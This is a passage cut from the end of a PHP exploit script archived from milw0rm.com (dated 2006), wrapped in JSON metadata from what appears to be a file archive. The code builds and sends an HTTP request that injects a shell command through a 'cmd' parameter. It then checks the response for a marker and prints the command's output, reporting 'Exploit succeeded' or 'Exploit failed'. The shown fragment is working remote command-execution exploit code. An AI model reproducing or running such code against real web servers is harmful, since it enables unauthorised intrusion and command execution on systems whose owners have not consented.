cmd=\".$cmd.\";\\r\\n\";\n$packet.=\"Connection: Close\\r\\n\\r\\n\";\n$packet.=$data;\nsendpacketii($packet);\nif (strstr($html,\"56789\"))\n{\n  echo \"Exploit succeeded...\";\n  $temp=explode(\"56789\",$html);\n  die(\"\\r\\n\".$temp[1].\"\\r\\n\");\n}\n}\n//if you are here...\necho \"\\r\\nExploit failed...\";\n?>\n\n# milw0rm.com [2006-05-07]","sha256":"a5327761e759e43ce5a32999e80f73198ddf3ee96221cd1c680a816e21829b5b","bytes":22658,"fetchedAt":"2026-11-27T10:07:13.018Z","encoding":"utf-8 (display only; download retains original bytes)"}